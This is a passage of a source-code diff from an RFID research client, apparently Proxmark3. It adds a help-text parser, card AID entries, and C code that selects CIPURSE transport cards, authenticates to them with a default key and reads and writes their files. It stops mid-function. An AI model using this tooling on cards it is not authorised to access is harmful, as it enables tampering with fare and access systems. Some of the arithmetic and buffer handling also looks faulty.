parser.add_argument('output_file', type=argparse.FileType('w'), help='Destination for JSON output.')
|
||||
parser.add_argument('--meta', action='append', help='Additional metadata to be included.', metavar='key:value')
|
||||
parser.add_argument('--version', '-v', action='version', version=get_version(), help='Version data about this app.')
|
||||
parser.add_argument('--debug', '-d', action='store_true', help='Log debug messages.')
|
||||
return parser
|
||||
|
||||
|
||||
def build_help_regex():
|
||||
"""The regex uses to parse the full text output of help data from the pm3 client."""
|
||||
# Reads the divider followed by the command itself
|
||||
re_command = r'-{87}\n(?P<command>.+)\n'
|
||||
# Reads if the command is available offline
|
||||
re_offline = r'available offline: (?P<offline>yes|no)\n+'
|
||||
# Reads the description lines
|
||||
re_description = r'(?P<description>(.|\n)+?)\n+'
|
||||
# Reads the usage string
|
||||
re_usage = r'usage:\n(?P<usage>(?:.+\n)+)\n+'
|
||||
# Reads the options and there individual descriptions
|
||||
re_options = r'options:\n(?P<options>(?:.+\n)+)\n'
|
||||
# Reads the notes and examples
|
||||
re_notes = r'examples\/notes:\n(?P<notes>(?:.+\n)+)'
|
||||
# Combine them into a single regex object
|
||||
re_full = re.compile(re_command+re_offline+re_description+re_usage+re_options+re_notes, re.MULTILINE);
|
||||
return re_full
|
||||
|
||||
|
||||
def parse_all_command_data(help_text):
|
||||
"""Turns the full text output of help data from the pm3 client into a list of dictionaries"""
|
||||
command_dicts = {}
|
||||
# Strip out ANSI escape sequences
|
||||
help_text = remove_ansi_escape_codes(help_text)
|
||||
# Find all commands in the full text help output
|
||||
matches = build_help_regex().finditer(help_text)
|
||||
for match in matches:
|
||||
# Turn a match into a dictionary with keys for the extracted fields
|
||||
command_object = parse_command_data(match)
|
||||
# Store this command against its name for easy lookup
|
||||
command_dicts[command_object['command']] = command_object
|
||||
return command_dicts
|
||||
|
||||
|
||||
def parse_command_data(match):
|
||||
"""Turns a regex match of a command in the help text and converts it into a dictionary"""
|
||||
logging.info('Parsing new command...')
|
||||
# Get and clean the command string
|
||||
command = remove_extra_whitespace(match.group('command'))
|
||||
logging.info(f' Command: {command}')
|
||||
# Get the online status as a boolean. Note: the regex only picks up 'yes' or 'no' so this check is safe.
|
||||
offline = (match.group('offline') == 'yes')
|
||||
logging.debug(f' Offline: {offline}')
|
||||
# Get and clean the description paragraph
|
||||
description = text_to_oneliner(match.group('description'))
|
||||
logging.debug(f' Description: {description}')
|
||||
# Get and clen the usage string
|
||||
usage = text_to_oneliner(match.group('usage'))
|
||||
logging.debug(f' Usage: {usage}')
|
||||
# Get and clean the list of options
|
||||
options = text_to_list(match.group('options'))
|
||||
logging.debug(f' Options: {options}')
|
||||
# Get and clean the list of examples and notes
|
||||
notes = text_to_list(match.group('notes'))
|
||||
logging.debug(f' Notes: {notes}')
|
||||
# Construct the command dictionary
|
||||
command_data = {
|
||||
'command': command,
|
||||
'offline': offline,
|
||||
'description': description,
|
||||
'usage': usage,
|
||||
'options': options,
|
||||
'notes': notes
|
||||
}
|
||||
logging.info('Completed parsing command!')
|
||||
return command_data
|
||||
|
||||
|
||||
def build_metadata(extra_data, command_data):
|
||||
"""Turns the full text output of help data from the pm3 client into a list of dictionaries."""
|
||||
logging.info('Building metadata...')
|
||||
metadata = {
|
||||
'extracted_by': get_version(),
|
||||
'extracted_on': datetime.datetime.utcnow().replace(microsecond=0).isoformat(),
|
||||
'commands_extracted': len(command_data)
|
||||
}
|
||||
for key, value in metadata.items():
|
||||
logging.debug(f' {key} - {value}')
|
||||
if extra_data:
|
||||
for extra in extra_data:
|
||||
parts = extra.split(':')
|
||||
if len(parts) == 2:
|
||||
metadata[parts[0]] = parts[1]
|
||||
logging.debug(f' {parts[0]} - {parts[1]}')
|
||||
else:
|
||||
logging.warning(f'Error building metadata. '
|
||||
f'Skipped "{extra}". '
|
||||
f'Extra metadata must be in the format "key:value".')
|
||||
logging.info('Completed building metadata!')
|
||||
return metadata
|
||||
|
||||
|
||||
##############################################################################
|
||||
# Helper Functions:
|
||||
|
||||
|
||||
def get_version():
|
||||
"""Get the version string for this script"""
|
||||
return f'{APP_NAME} v{VERSION_MAJOR}.{VERSION_MINOR:02}'
|
||||
|
||||
|
||||
def remove_ansi_escape_codes(text):
|
||||
"""Remove ANSI escape sequences that may be left in the text."""
|
||||
re_ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -/]*[@-~]')
|
||||
return re_ansi_escape.sub('', str(text)).lower()
|
||||
|
||||
|
||||
def remove_extra_whitespace(text):
|
||||
"""Removes extra whitespace that may be in the text."""
|
||||
# Ensure input is a string
|
||||
text = str(text)
|
||||
# Remove whitespace from the start and end of the text
|
||||
text = text.strip()
|
||||
# Deduplicate spaces in the string
|
||||
text = re.sub(r' +', ' ', text)
|
||||
return text
|
||||
|
||||
|
||||
def text_to_oneliner(text):
|
||||
"""Converts a multi line string into a single line string and removes extra whitespace"""
|
||||
# Ensure input is a string
|
||||
text = str(text)
|
||||
# Replace newlines with spaces
|
||||
text = re.sub(r'\n+', ' ', text)
|
||||
# Remove the extra whitespace
|
||||
text = remove_extra_whitespace(text)
|
||||
return text
|
||||
|
||||
|
||||
def text_to_list(text):
|
||||
"""Converts a multi line string into a list of lines and removes extra whitespace"""
|
||||
# Ensure input is a string
|
||||
text = str(text)
|
||||
# Get all the lines
|
||||
lines = text.strip().split('\n')
|
||||
# For each line clean up any extra whitespace
|
||||
return [remove_extra_whitespace(line) for line in lines]
|
||||
|
||||
|
||||
##############################################################################
|
||||
# Application entrypoint:
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
|
@ -839,6 +839,14 @@
|
|||
"Description": "PIV Authentication Key",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "A0000006472F0001",
|
||||
"Vendor": "FIDO authenticator",
|
||||
"Country": "global",
|
||||
"Name": "U2F/FIDO2 authenticator",
|
||||
"Description": "U2F and/or FIDO2 authenticator",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "A000000116DB00",
|
||||
"Vendor": "GSA - TFCS",
|
||||
|
@ -2158,5 +2166,13 @@
|
|||
"Name": "TeslaDAP",
|
||||
"Description": "Undocumented AID associated with official Tesla BTLE Key Fobs",
|
||||
"Type": "Tesla"
|
||||
},
|
||||
{
|
||||
"AID": "4144204631",
|
||||
"Vendor": "Cipurse",
|
||||
"Country": "",
|
||||
"Name": "Cipurse transport card",
|
||||
"Description": "Cipurse transport card",
|
||||
"Type": "transport"
|
||||
}
|
||||
]
|
||||
|
|
383
client/src/cipurse/cipursecore.c
Normal file
383
client/src/cipurse/cipursecore.c
Normal file
|
@ -0,0 +1,383 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE transport cards data and commands
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cipursecore.h"
|
||||
|
||||
#include "commonutil.h" // ARRAYLEN
|
||||
#include "comms.h" // DropField
|
||||
#include "util_posix.h" // msleep
|
||||
#include <string.h> // memcpy memset
|
||||
|
||||
#include "cmdhf14a.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "ui.h"
|
||||
#include "util.h"
|
||||
|
||||
// context for secure channel
|
||||
CipurseContext cipurseContext;
|
||||
|
||||
static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t data[APDU_RES_LEN] = {0};
|
||||
uint8_t securedata[APDU_RES_LEN] = {0};
|
||||
sAPDU secapdu;
|
||||
|
||||
*ResultLen = 0;
|
||||
if (sw) *sw = 0;
|
||||
uint16_t isw = 0;
|
||||
int res = 0;
|
||||
|
||||
if (ActivateField) {
|
||||
DropField();
|
||||
msleep(50);
|
||||
}
|
||||
|
||||
// long messages is not allowed
|
||||
if (apdu.Lc > 228)
|
||||
return 20;
|
||||
|
||||
// COMPUTE APDU
|
||||
int datalen = 0;
|
||||
uint16_t xle = IncludeLe ? 0x100 : 0x00;
|
||||
if (xle == 0x100 && Le != 0)
|
||||
xle = Le;
|
||||
|
||||
CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le);
|
||||
|
||||
if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) {
|
||||
PrintAndLogEx(ERR, "APDU encoding error.");
|
||||
return 201;
|
||||
}
|
||||
|
||||
if (GetAPDULogging())
|
||||
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
|
||||
|
||||
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
|
||||
if (res) {
|
||||
return res;
|
||||
}
|
||||
|
||||
if (GetAPDULogging())
|
||||
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
|
||||
|
||||
if (*ResultLen < 2) {
|
||||
return 200;
|
||||
}
|
||||
|
||||
size_t rlen = 0;
|
||||
if (*ResultLen == 2) {
|
||||
if (cipurseContext.RequestSecurity == CPSMACed || cipurseContext.RequestSecurity == CPSEncrypted)
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
|
||||
isw = Result[0] * 0x0100 + Result[1];
|
||||
} else {
|
||||
CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw);
|
||||
memcpy(Result, securedata, rlen);
|
||||
}
|
||||
|
||||
if (ResultLen != NULL)
|
||||
*ResultLen = rlen;
|
||||
|
||||
if (sw != NULL)
|
||||
*sw = isw;
|
||||
|
||||
if (isw != 0x9000) {
|
||||
if (GetAPDULogging()) {
|
||||
if (*sw >> 8 == 0x61) {
|
||||
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
|
||||
} else {
|
||||
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
|
||||
return 5;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, apdu, true, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31};
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
|
||||
return EMVSelect(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL);
|
||||
}
|
||||
|
||||
int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, 0x16, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, attrlen, attr}, false, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff};
|
||||
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, 02, fileIdBin}, false, 0, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff};
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
|
||||
return CIPURSEExchange((sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, Result, MaxResultLen, ResultLen, sw);
|
||||
}
|
||||
|
||||
bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
|
||||
CipurseContext cpc = {0};
|
||||
CipurseCSetKey(&cpc, keyIndex, key);
|
||||
|
||||
// get RP, rP
|
||||
int res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || len != 0x16) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
|
||||
return false;
|
||||
}
|
||||
CipurseCSetRandomFromPICC(&cpc, buf);
|
||||
|
||||
// make auth data
|
||||
uint8_t authparams[16 + 16 + 6] = {0};
|
||||
CipurseCAuthenticateHost(&cpc, authparams);
|
||||
|
||||
// authenticate
|
||||
res = CIPURSEMutalAuthenticate(keyIndex, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000 || len != 16) {
|
||||
if (sw == 0x6988) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key.");
|
||||
} else if (sw == 0x6A88) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number.");
|
||||
} else {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
}
|
||||
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (CipurseCCheckCT(&cpc, buf)) {
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Authentication " _GREEN_("OK"));
|
||||
|
||||
CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed);
|
||||
memcpy(&cipurseContext, &cpc, sizeof(CipurseContext));
|
||||
return true;
|
||||
} else {
|
||||
if (verbose)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT");
|
||||
|
||||
CipurseCClearContext(&cipurseContext);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) {
|
||||
CipurseCChannelSetSecurityLevels(&cipurseContext, req, resp);
|
||||
}
|
||||
|
||||
static void CIPURSEPrintPersoMode(uint8_t data) {
|
||||
if (data & 0x01)
|
||||
PrintAndLogEx(INFO, "Perso: filesystem");
|
||||
if (data & 0x02)
|
||||
PrintAndLogEx(INFO, "Perso: EMV");
|
||||
if (data & 0x04)
|
||||
PrintAndLogEx(INFO, "Perso: transaction supported");
|
||||
|
||||
}
|
||||
|
||||
static void CIPURSEPrintProfileInfo(uint8_t data) {
|
||||
if (data & 0x01)
|
||||
PrintAndLogEx(INFO, "Profile: L");
|
||||
if (data & 0x02)
|
||||
PrintAndLogEx(INFO, "Profile: S");
|
||||
if (data & 0x04)
|
||||
PrintAndLogEx(INFO, "Profile: T");
|
||||
}
|
||||
|
||||
static void CIPURSEPrintManufacturerInfo(uint8_t data) {
|
||||
if (data == 0)
|
||||
PrintAndLogEx(INFO, "Manufacturer: n/a");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Manufacturer: %s", getTagInfo(data)); // getTagInfo from cmfhf14a.h
|
||||
}
|
||||
|
||||
void CIPURSEPrintInfoFile(uint8_t *data, size_t len) {
|
||||
if (len < 2) {
|
||||
PrintAndLogEx(ERR, "Info file length " _RED_("ERROR"));
|
||||
return;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "------------ INFO ------------");
|
||||
PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]);
|
||||
|
||||
if (len >= 3)
|
||||
CIPURSEPrintPersoMode(data[2]);
|
||||
|
||||
if (len >= 4)
|
||||
CIPURSEPrintProfileInfo(data[3]);
|
||||
|
||||
if (len >= 9)
|
||||
CIPURSEPrintManufacturerInfo(data[8]);
|
||||
}
|
||||
|
||||
static void CIPURSEPrintFileDescriptor(uint8_t desc) {
|
||||
if (desc == 0x01)
|
||||
PrintAndLogEx(INFO, "Binary file");
|
||||
else if (desc == 0x11)
|
||||
PrintAndLogEx(INFO, "Binary file with transactions");
|
||||
else if (desc == 0x02)
|
||||
PrintAndLogEx(INFO, "Linear record file");
|
||||
else if (desc == 0x12)
|
||||
PrintAndLogEx(INFO, "Linear record file with transactions");
|
||||
else if (desc == 0x06)
|
||||
PrintAndLogEx(INFO, "Cyclic record file");
|
||||
else if (desc == 0x16)
|
||||
PrintAndLogEx(INFO, "Cyclic record file with transactions");
|
||||
else if (desc == 0x1E)
|
||||
PrintAndLogEx(INFO, "Linear value-record file");
|
||||
else if (desc == 0x1F)
|
||||
PrintAndLogEx(INFO, "Linear value-record file with transactions");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Unknown file 0x%02x", desc);
|
||||
}
|
||||
|
||||
static void CIPURSEPrintKeyAttrib(uint8_t *attr) {
|
||||
PrintAndLogEx(INFO, "-------- KEY ATTRIBUTES --------");
|
||||
PrintAndLogEx(INFO, "Additional info: 0x%02x", attr[0]);
|
||||
PrintAndLogEx(INFO, "Key length: %d", attr[1]);
|
||||
PrintAndLogEx(INFO, "Algorithm ID: 0x%02x", attr[2]);
|
||||
PrintAndLogEx(INFO, "Security attr: 0x%02x", attr[3]);
|
||||
PrintAndLogEx(INFO, "KVV: 0x%02x%02x%02x", attr[4], attr[5], attr[6]);
|
||||
PrintAndLogEx(INFO, "-------------------------------");
|
||||
}
|
||||
|
||||
void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) {
|
||||
if (len < 7) {
|
||||
PrintAndLogEx(ERR, "Attributes length " _RED_("ERROR"));
|
||||
return;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "--------- FILE ATTRIBUTES ---------");
|
||||
if (fileAttr[0] == 0x38) {
|
||||
PrintAndLogEx(INFO, "Type: MF, ADF");
|
||||
if (fileAttr[1] == 0x00) {
|
||||
PrintAndLogEx(INFO, "Type: MF");
|
||||
} else {
|
||||
if ((fileAttr[1] & 0xe0) == 0x00)
|
||||
PrintAndLogEx(INFO, "Type: Unknown");
|
||||
if ((fileAttr[1] & 0xe0) == 0x20)
|
||||
PrintAndLogEx(INFO, "Type: CIPURSE L");
|
||||
if ((fileAttr[1] & 0xe0) == 0x40)
|
||||
PrintAndLogEx(INFO, "Type: CIPURSE S");
|
||||
if ((fileAttr[1] & 0xe0) == 0x60)
|
||||
PrintAndLogEx(INFO, "Type: CIPURSE T");
|
||||
if ((fileAttr[1] & 0x02) == 0x00)
|
||||
PrintAndLogEx(INFO, "Autoselect on PxSE select OFF");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Autoselect on PxSE select ON");
|
||||
if ((fileAttr[1] & 0x01) == 0x00)
|
||||
PrintAndLogEx(INFO, "PxSE select returns FCPTemplate OFF");
|
||||
else
|
||||
PrintAndLogEx(INFO, "PxSE select returns FCPTemplate ON");
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]);
|
||||
|
||||
PrintAndLogEx(INFO, "Maximum number of custom EFs: %d", fileAttr[4]);
|
||||
PrintAndLogEx(INFO, "Maximum number of EFs with SFID: %d", fileAttr[5]);
|
||||
uint8_t keyNum = fileAttr[6];
|
||||
PrintAndLogEx(INFO, "Keys assigned: %d", keyNum);
|
||||
|
||||
if (len >= 9) {
|
||||
PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]);
|
||||
}
|
||||
|
||||
if (len >= 10 + keyNum + 1) {
|
||||
PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], keyNum + 1));
|
||||
}
|
||||
|
||||
if (len >= 11 + keyNum + 1 + keyNum * 7) {
|
||||
for (int i = 0; i < keyNum; i++) {
|
||||
PrintAndLogEx(INFO, "Key %d Attributes: %s", i, sprint_hex(&fileAttr[11 + keyNum + 1 + i * 7], 7));
|
||||
CIPURSEPrintKeyAttrib(&fileAttr[11 + keyNum + 1 + i * 7]);
|
||||
}
|
||||
}
|
||||
// MF
|
||||
if (fileAttr[1] == 0x00) {
|
||||
PrintAndLogEx(INFO, "Total memory size: %d", (fileAttr[len - 6] << 16) + (fileAttr[len - 1] << 5) + fileAttr[len - 4]);
|
||||
PrintAndLogEx(INFO, "Free memory size: %d", (fileAttr[len - 3] << 16) + (fileAttr[len - 2] << 8) + fileAttr[len - 1]);
|
||||
|
||||
} else {
|
||||
int ptr = 11 + keyNum + 1 + keyNum * 7;
|
||||
if (len > ptr)
|
||||
PrintAndLogEx(INFO, "TLV file control: %s", sprint_hex(&fileAttr[ptr], len - ptr));
|
||||
}
|
||||
} else {
|
||||
PrintAndLogEx(INFO, "Type: EF");
|
||||
CIPURSEPrintFileDescriptor(fileAttr[0]);
|
||||
if (fileAttr[1] == 0)
|
||||
PrintAndLogEx(INFO, "SFI: not assigned");
|
||||
else
|
||||
PrintAndLogEx(INFO, "SFI: 0x%02x", fileAttr[1]);
|
||||
|
||||
PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]);
|
||||
|
||||
if (fileAttr[0] == 0x01 || fileAttr[0] == 0x11)
|
||||
PrintAndLogEx(INFO, "File size: %d", (fileAttr[4] << 8) + fileAttr[5]);
|
||||
else
|
||||
PrintAndLogEx(INFO, "Record num: %d record size: %d", fileAttr[4], fileAttr[5]);
|
||||
|
||||
PrintAndLogEx(INFO, "Keys assigned: %d", fileAttr[6]);
|
||||
|
||||
if (len >= 9) {
|
||||
PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]);
|
||||
}
|
||||
|
||||
if (len >= 10) {
|
||||
PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], len - 9));
|
||||
if (fileAttr[6] + 1 != len - 9)
|
||||
PrintAndLogEx(WARNING, "ART length is wrong");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
44
client/src/cipurse/cipursecore.h
Normal file
44
client/src/cipurse/cipursecore.h
Normal file
|
@ -0,0 +1,44 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE transport cards data and commands
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __CIPURSECORE_H__
|
||||
#define __CIPURSECORE_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <jansson.h>
|
||||
#include "iso7816/apduinfo.h" // sAPDU
|
||||
#include "cipurse/cipursecrypto.h"
|
||||
|
||||
|
||||
#define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}
|
||||
|
||||
void CIPURSEPrintInfoFile(uint8_t *data, size_t len);
|
||||
|
||||
int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ;
|
||||
int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose);
|
||||
void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp);
|
||||
|
||||
void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len);
|
||||
|
||||
#endif /* __CIPURSECORE_H__ */
|
528
client/src/cipurse/cipursecrypto.c
Normal file
528
client/src/cipurse/cipursecrypto.c
Normal file
|
@ -0,0 +1,528 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE crypto primitives
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cipursecrypto.h"
|
||||
|
||||
#include "commonutil.h" // ARRAYLEN
|
||||
#include "comms.h" // DropField
|
||||
#include "util_posix.h" // msleep
|
||||
#include <string.h> // memcpy memset
|
||||
|
||||
#include "cmdhf14a.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "crypto/libpcrypto.h"
|
||||
#include "ui.h"
|
||||
#include "util.h"
|
||||
|
||||
uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74};
|
||||
|
||||
uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) {
|
||||
switch (lvl) {
|
||||
case CPSNone:
|
||||
return 0x00;
|
||||
case CPSPlain:
|
||||
return 0x00;
|
||||
case CPSMACed:
|
||||
return 0x01;
|
||||
case CPSEncrypted:
|
||||
return 0x02;
|
||||
default:
|
||||
return 0x00;
|
||||
}
|
||||
}
|
||||
|
||||
static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) {
|
||||
for (size_t i = 0; i < len; i++)
|
||||
d1[i] = d1[i] ^ d2[i];
|
||||
}
|
||||
|
||||
static void bin_ext(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
|
||||
if (srclen > dstlen)
|
||||
memcpy(dst, &src[srclen - dstlen], dstlen);
|
||||
else
|
||||
memcpy(dst, src, dstlen);
|
||||
}
|
||||
|
||||
static void bin_pad(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
|
||||
memset(dst, 0, dstlen);
|
||||
if (srclen <= dstlen)
|
||||
